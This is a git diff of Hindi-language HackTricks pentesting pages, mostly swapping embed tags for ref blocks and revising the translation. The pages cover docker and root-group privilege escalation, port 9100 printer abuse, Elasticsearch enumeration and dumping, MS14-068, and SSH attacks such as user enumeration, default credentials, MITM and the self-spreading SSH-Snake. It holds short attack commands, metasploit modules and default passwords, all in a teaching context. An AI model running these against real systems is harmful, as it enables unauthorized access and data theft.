cat /sys/class/graphics/fb0/virtual_size
@ -116,7 +115,7 @@ cat /sys/class/graphics/fb0/virtual_size
# रूट समूह
ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच सकते हैं, जिन्हें विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सकता है...
ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच सकते हैं जो विशेषाधिकार बढ़ाने के लिए उपयोग की जा सकती हैं...
**जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**:
```bash
@ -126,13 +125,16 @@ find / -group root -perm -g=w 2>/dev/null
आप होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है।
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@
अधिक जानकारी के लिए देखें:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# मूल जानकारी
From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing वह प्रक्रिया है जिसे हम नेटवर्क प्रिंटर के पोर्ट 9100/tcp से कनेक्शन बनाने के रूप में परिभाषित करते हैं। यह CUPS और Windows प्रिंटिंग आर्किटेक्चर द्वारा नेटवर्क प्रिंटर के साथ संवाद करने के लिए उपयोग किया जाने वाला डिफ़ॉल्ट तरीका है क्योंकि इसे _प्रिंटर के लिए उपयोग किया जाने वाला सबसे सरल, तेज़ और सामान्यतः सबसे विश्वसनीय नेटवर्क प्रोटोकॉल_ माना जाता है। Raw port 9100 printing, जिसे JetDirect, AppSocket या PDL-datastream भी कहा जाता है, वास्तव में **स्वयं में एक प्रिंटिंग प्रोटोकॉल नहीं है**। इसके बजाय **भेजा गया सभी डेटा सीधे प्रिंटिंग डिवाइस द्वारा संसाधित किया जाता है**, ठीक उसी तरह जैसे TCP पर एक समानांतर कनेक्शन। LPD, IPP और SMB की तुलना में, यह क्लाइंट को सीधे फीडबैक भेज सकता है, जिसमें स्थिति और त्रुटि संदेश शामिल हैं। ऐसा एक **द्विदिश चैनल** हमें **PJL**, **PostScript** या **PCL** कमांड के **परिणामों** तक सीधे **पहुँच** देता है। इसलिए raw port 9100 printing जिसे लगभग किसी भी नेटवर्क प्रिंटर द्वारा समर्थित किया जाता है PRET और PFT के साथ सुरक्षा विश्लेषण के लिए चैनल के रूप में उपयोग किया जाता है।
From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing वह प्रक्रिया है जिसे हम नेटवर्क प्रिंटर के पोर्ट 9100/tcp से कनेक्शन बनाने के रूप में परिभाषित करते हैं। यह CUPS और Windows प्रिंटिंग आर्किटेक्चर द्वारा नेटवर्क प्रिंटर के साथ संवाद करने के लिए उपयोग किया जाने वाला डिफ़ॉल्ट तरीका है क्योंकि इसे _प्रिंटर के लिए उपयोग किया जाने वाला सबसे सरल, तेज़ और सामान्यतः सबसे विश्वसनीय नेटवर्क प्रोटोकॉल_ माना जाता है। Raw port 9100 printing, जिसे JetDirect, AppSocket या PDL-datastream भी कहा जाता है, वास्तव में **अपने आप में एक प्रिंटिंग प्रोटोकॉल नहीं है**। इसके बजाय **भेजा गया सभी डेटा सीधे प्रिंटिंग डिवाइस द्वारा संसाधित किया जाता है**, ठीक उसी तरह जैसे TCP पर एक समानांतर कनेक्शन। LPD, IPP और SMB की तुलना में, यह क्लाइंट को सीधे फीडबैक भेज सकता है, जिसमें स्थिति और त्रुटि संदेश शामिल हैं। ऐसा **द्विदिश चैनल** हमें **PJL**, **PostScript** या **PCL** कमांड के **परिणामों** तक सीधे **पहुँच** देता है। इसलिए raw port 9100 printing जिसे लगभग किसी भी नेटवर्क प्रिंटर द्वारा समर्थित किया जाता है PRET और PFT के साथ सुरक्षा विश्लेषण के लिए चैनल के रूप में उपयोग किया जाता है।
If you want to learn more about [**hacking printers read this page**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -12,7 +12,7 @@ If you want to learn more about [**hacking printers read this page**](http://hac
```
# Enumeration
## Manual
## मैनुअल
```bash
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@ -48,9 +48,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file
यह वह टूल है जिसका आप प्रिंटर्स का दुरुपयोग करने के लिए उपयोग करना चाहते हैं:
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **शोडन**
# **शोडन**
- `pjl port:9100`

View File

@ -8,11 +8,11 @@ Elasticsearch एक **वितरित**, **ओपन सोर्स** ख
### What is an Elasticsearch index?
एक Elasticsearch **index** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होते हैं। प्रत्येक दस्तावेज में **कज़** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं।
एक Elasticsearch **index** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होते हैं। प्रत्येक दस्तावेज में **कुंजी** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं।
Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **inverted index** कहा जाता है। यह इंडेक्स दस्तावेजों में प्रत्येक अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है।
Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **inverted index** कहा जाता है। यह इंडेक्स दस्तावेजों में हर अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है।
इंडेक्सिंग प्रक्रिया के दौरान, Elasticsearch दस्तावेजों को संग्रहीत करता है और उल्टे इंडेक्स का निर्माण करता है, जिससे लगभग वास्तविक समय में खोजने की अनुमति मिलती है। **index API** का उपयोग एक विशिष्ट इंडेक्स के भीतर JSON दस्तावेज जोड़ने या अपडेट करने के लिए किया जाता है।
इंडेक्सिंग प्रक्रिया के दौरान, Elasticsearch दस्तावेजों को संग्रहीत करता है और inverted index का निर्माण करता है, जिससे लगभग वास्तविक समय में खोजने की अनुमति मिलती है। **index API** का उपयोग एक विशिष्ट इंडेक्स के भीतर JSON दस्तावेजों को जोड़ने या अपडेट करने के लिए किया जाता है।
**डिफ़ॉल्ट पोर्ट**: 9200/tcp
@ -35,12 +35,12 @@ Elasticsearch तक पहुँचने के लिए उपयोग क
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
```
**हालांकि**, यदि आप `/` पर एक अनुरोध भेजते हैं और निम्नलिखित प्रतिक्रिया प्राप्त करते हैं:
**हालांकि**, यदि आप `/` पर एक अनुरोध भेजते हैं और निम्नलिखित जैसे एक प्रतिक्रिया प्राप्त करते हैं:
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
इसका मतलब है कि प्रमाणीकरण कॉन्फ़िगर किया गया है और **आपको कोई भी जानकारी प्राप्त करने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है**। फिर, आप [**इसे ब्रूटफोर्स करने की कोशिश कर सकते हैं**](../generic-hacking/brute-force.md#elasticsearch) (यह HTTP बेसिक ऑथ का उपयोग करता है, इसलिए BF HTTP बेसिक ऑथ का उपयोग किया जा सकता है)।\
यहाँ आपके पास **डिफ़ॉल्ट उपयोगकर्ता नामों की सूची** है: _**elastic** (सुपरयूजर), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch के पुराने संस्करणों के लिए इस उपयोगकर्ता क डिफ़ॉल्ट पासवर्ड **changeme** है।
इसका मतलब है कि प्रमाणीकरण कॉन्फ़िगर किया गया है और **आपको कोई जानकारी प्राप्त करने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है** elasticsearch से। फिर, आप [**इसे ब्रूटफोर्स करने की कोशिश कर सकते हैं**](../generic-hacking/brute-force.md#elasticsearch) (यह HTTP बेसिक ऑथ का उपयोग करता है, इसलिए BF HTTP बेसिक ऑथ का उपयोग किया जा सकता है)।\
यहाँ आपके पास **डिफ़ॉल्ट उपयोगकर्ता नामों की सूची** है: _**elastic** (सुपरयूजर), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch के पुराने संस्करणों के लिए इस उपयोगकर्ता के लिए डिफ़ॉल्ट पासवर्ड **changeme** है।
```
curl -X GET http://user:password@IP:9200/
```
@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
```
### Elastic Info
यहाँ कुछ endpoints हैं जिन्हें आप **GET के माध्यम से** **प्राप्त करने** के लिए **एक्सेस** कर सकते हैं elasticsearch के बारे में कुछ **जानकारी**:
यहाँ कुछ endpoints हैं जिन्हें आप **GET के माध्यम से** **जानकारी** प्राप्त करने के लिए **एक्सेस** कर सकते हैं elasticsearch के बारे में:
| \_cat | /\_cluster | /\_security |
| ------------------------------ | ----------------------------- | ------------------------ |
@ -87,13 +87,13 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodes | | |
ये endpoints [**दस्तावेज़ीकरण से लिए गए हैं**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) जहाँ आप **और अधिक** पा सकते हैं।\
इसके अलावा, यदि आप `/_cat` को एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं।
इसके अलावा, यदि आप `/_cat` एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं।
`/_security/user` में (यदि प्रमाणीकरण सक्षम है) आप देख सकते हैं कि कौन सा उपयोगकर्ता `superuser` भूमिका रखता है।
### Indices
आप सभी इंडेक्स को **एकत्रित** कर सकते हैं `http://10.10.10.115:9200/_cat/indices?v` एक्सेस करके।
आप सभी इंडिसेस को **एक्सेस करके इकट्ठा कर सकते हैं** `http://10.10.10.115:9200/_cat/indices?v`
```
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
@ -110,11 +110,11 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
![](<../images/image (914).png>)
_एक पल लें और बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड की जो हमने पिछले अनुभाग में देखी थी।_
_एक पल के लिए बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड जो हमने पिछले अनुभाग में देखे थे।_
तो, इस बिंदु पर आप देख सकते हैं कि **"हिट्स" के अंदर "कुल" नाम का एक फ़ील्ड है** जो यह संकेत करता है कि **इस इंडेक्स के अंदर 1000 दस्तावेज़ पाए गए** लेकिन केवल 10 को पुनः प्राप्त किया गया। इसका कारण यह है कि **डिफ़ॉल्ट रूप से 10 दस्तावेज़ों की सीमा है।**\
लेकिन, अब जब आप जानते हैं कि **इस इंडेक्स में 1000 दस्तावेज़ हैं**, आप **उनमें से सभी को डंप कर सकते हैं** यह बताते हुए कि आप कितनी एंट्रीज़ को डंप करना चाहते हैं **`size`** पैरामीटर में: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_नोट: यदि आप बड़ा नंबर बताते हैं तो सभी एंट्रीज़ डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` बता सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_
\&#xNAN;_नोट: यदि आप बड़ा नंबर बताते हैं तो सभी एंट्रीज़ वैसे भी डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` बता सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_
### सभी डंप करें
@ -135,7 +135,7 @@ _ध्यान दें कि सामग्री खोजने के
### लिखने की अनुमति
आप अपनी लिखने की अनुमति की जांच कर सकते हैं, एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके, कुछ इस तरह चलाकर:
आप एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके अपनी लिखने की अनुमति की जांच कर सकते हैं, कुछ इस तरह चलाकर:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
# **डिफ़ॉल्ट पासवर्ड**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# कॉन्फ़िग फ़ाइलें
```text

View File

@ -27,7 +27,9 @@ PORT STATE SERVICE
MS14-068 दोष एक हमलावर को एक वैध उपयोगकर्ता के Kerberos लॉगिन टोकन के साथ छेड़छाड़ करने की अनुमति देता है ताकि झूठे तरीके से उच्चाधिकार का दावा किया जा सके, जैसे कि एक डोमेन एडमिन होना। यह नकली दावा गलती से डोमेन कंट्रोलर द्वारा मान्य किया जाता है, जिससे Active Directory वन में नेटवर्क संसाधनों तक अनधिकृत पहुंच संभव होती है।
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
अन्य शोषण: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)

View File

@ -2,11 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**SSH (सिक्योर शेल या सिक्योर सॉकेट शेल)** एक नेटवर्क प्रोटोकॉल है जो असुरक्षित नेटवर्क पर एक कंप्यूटर से सुरक्षित कनेक्शन सक्षम करता है। यह दूरस्थ सिस्टम तक पहुँचने पर डेटा की गोपनीयता और अखंडता बनाए रखने के लिए आवश्यक है।
**SSH (सिक्योर शेल या सिक्योर सॉकेट शेल)** एक नेटवर्क प्रोटोकॉल है जो असुरक्षित नेटवर्क के माध्यम से कंप्यूटर से सुरक्षित कनेक्शन सक्षम बनाता है। यह दूरस्थ सिस्टम तक पहुँचने पर डेटा की गोपनीयता और अखंडता बनाए रखने के लिए आवश्यक है।
**डिफ़ॉल्ट पोर्ट:** 22
```
@ -21,12 +19,12 @@
**SSH पुस्तकालय (सर्वर-साइड कार्यान्वयन):**
- [libssh](https://www.libssh.org) SSHv2 प्रोटोकॉल को लागू करने वाला बहु-प्लेटफ़ॉर्म C पुस्तकालय जिसमें [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) और [R](https://github.com/ropensci/ssh) में बाइंडिंग है; इसका उपयोग KDE द्वारा sftp के लिए और GitHub द्वारा git SSH अवसंरचना के लिए किया जाता है
- [libssh](https://www.libssh.org) बहु-प्लेटफ़ॉर्म C पुस्तकालय जो SSHv2 प्रोटोकॉल को [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) और [R](https://github.com/ropensci/ssh) में बाइंडिंग के साथ कार्यान्वित करता है; इसका उपयोग KDE द्वारा sftp के लिए और GitHub द्वारा git SSH अवसंरचना के लिए किया जाता है
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) ANSI C में लिखा गया SSHv2 सर्वर पुस्तकालय जो एम्बेडेड, RTOS, और संसाधन-सीमित वातावरण के लिए लक्षित है
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD जावा पुस्तकालय Apache MINA पर आधारित है
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 प्रोटोकॉल पुस्तकालय
## एन्यूमरेशन
## गणना
### बैनर ग्रैबिंग
```bash
@ -97,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
### उपयोगकर्ता नाम गणना
OpenSSH के कुछ संस्करणों में आप उपयोगकर्ताओं की गणना करने के लिए एक टाइमिंग अटैक कर सकते हैं। आप इसे शोषण करने के लिए एक मेटास्प्लॉट मॉड्यूल का उपयोग कर सकते हैं:
OpenSSH के कुछ संस्करणों में आप उपयोगकर्ताओं की गणना के लिए एक टाइमिंग अटैक कर सकते हैं। आप इसे शोषण करने के लिए एक मेटास्प्लॉट मॉड्यूल का उपयोग कर सकते हैं:
```
msf> use scanner/ssh/ssh_enumusers
```
@ -115,21 +113,23 @@ https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
या `ssh-keybrute.py` का उपयोग करें (स्वदेशी python3, हल्का और इसमें विरासती एल्गोरिदम सक्षम हैं): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)
या `ssh-keybrute.py` का उपयोग करें (स्वदेशी python3, हल्का और इसमें विरासती एल्गोरिदम सक्षम हैं): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### ज्ञात खराब कुंजी यहाँ मिल सकती हैं:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### कमजोर SSH कुंजी / डेबियन पूर्वानुमानित PRNG
कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले यादृच्छिक बीज में ज्ञात दोष होते हैं। इससे कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले यादृच्छिक बीज में ज्ञात दोष होते हैं। इससे कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
आपको पीड़ित मशीन के लिए वैध कुंजी खोजने के लिए यहाँ देखना चाहिए।
### केर्बेरोस
**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करते हुए `--kerberos` विकल्प का उपयोग करके **केर्बेरोस के माध्यम से प्रमाणीकरण** कर सकता है।\
**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करते समय **kerberos के माध्यम से प्रमाणीकरण** करने के लिए `--kerberos` विकल्प का उपयोग कर सकता है।\
अधिक जानकारी के लिए `crackmapexec ssh --help` चलाएँ।
## डिफ़ॉल्ट क्रेडेंशियल्स
@ -157,9 +157,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys
**हमले का मार्ग:**
- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर **पीड़ित के ट्रैफ़िक को** अपनी मशीन पर **हस्तांतरित** करता है, प्रभावी रूप से SSH सर्वर से कनेक्शन प्रयास को **अवरोधित** करता है।
- **हस्तक्षेप और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरणों को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है।
- **कमांड निष्पादन और रिले:** अंततः, हमलावर का सर्वर **उपयोगकर्ता के क्रेडेंशियल्स को लॉग करता है**, **कमांड को** असली SSH सर्वर पर **आगे बढ़ाता है**, **उन्हें निष्पादित** करता है, और **परिणामों को वापस** उपयोगकर्ता को भेजता है, जिससे प्रक्रिया सहज और वैध प्रतीत होती है।
- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर पीड़ित के ट्रैफ़िक को अपनी मशीन की ओर **मोड़ता** है, प्रभावी रूप से SSH सर्वर से कनेक्शन प्रयास को **अवरोधित** करता है।
- **अवरोधन और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरणों को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है।
- **कमांड निष्पादन और रिले:** अंततः, हमलावर का सर्वर **उपयोगकर्ता के क्रेडेंशियल्स को लॉग करता है**, **कमांड को वास्तविक SSH सर्वर पर अग्रेषित करता है**, **उन्हें निष्पादित करता है**, और **परिणामों को उपयोगकर्ता को वापस भेजता है**, जिससे प्रक्रिया सहज और वैध प्रतीत होती है।
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) ठीक वही करता है जो ऊपर वर्णित है।
@ -174,11 +174,11 @@ SSH-Snake निम्नलिखित कार्यों को स्व
1. वर्तमान सिस्टम पर, किसी भी SSH निजी कुंजी को खोजें,
2. वर्तमान सिस्टम पर, किसी भी होस्ट या गंतव्यों (user@host) को खोजें जिन्हें निजी कुंजी स्वीकार की जा सकती हैं,
3. खोजी गई सभी निजी कुंजियों का उपयोग करके सभी गंतव्यों में SSH करने का प्रयास करें,
4. यदि किसी गंतव्य से सफलतापूर्वक कनेक्ट किया गया है, तो कनेक्टेड सिस्टम पर चरण #1 - #4 को दोहराएं।
4. यदि किसी गंतव्य से सफलतापूर्वक कनेक्ट किया गया है, तो जुड़े हुए सिस्टम पर चरण #1 - #4 को दोहराएं।
यह पूरी तरह से आत्म-प्रतिकृति और आत्म-प्रसार करने वाला है -- और पूरी तरह से फ़ाइल रहित है।
## कॉन्फ़िग मिसकॉन्फ़िगरेशन
## कॉन्फ़िग़रेशन गलत कॉन्फ़िगरेशन
### रूट लॉगिन
@ -187,7 +187,7 @@ SSH-Snake निम्नलिखित कार्यों को स्व
**OpenSSH में रूट लॉगिन को अक्षम करने के लिए:**
1. **SSH कॉन्फ़िग फ़ाइल को संपादित करें**: `sudoedit /etc/ssh/sshd_config`
2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`**।
2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`** में
3. **कॉन्फ़िगरेशन को पुनः लोड करें**: `sudo systemctl daemon-reload`
4. **परिवर्तनों को लागू करने के लिए SSH सर्वर को पुनः प्रारंभ करें**: `sudo systemctl restart sshd`
@ -252,7 +252,7 @@ sftp> symlink / froot
### प्रमाणीकरण विधियाँ
उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को अक्षम किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को अक्षम नहीं करना है। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके, एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है:
उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को निष्क्रिय किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को निष्क्रिय नहीं करना है। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके, एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019

View File

@ -1,9 +1,11 @@
# बकेट्स
# Buckets
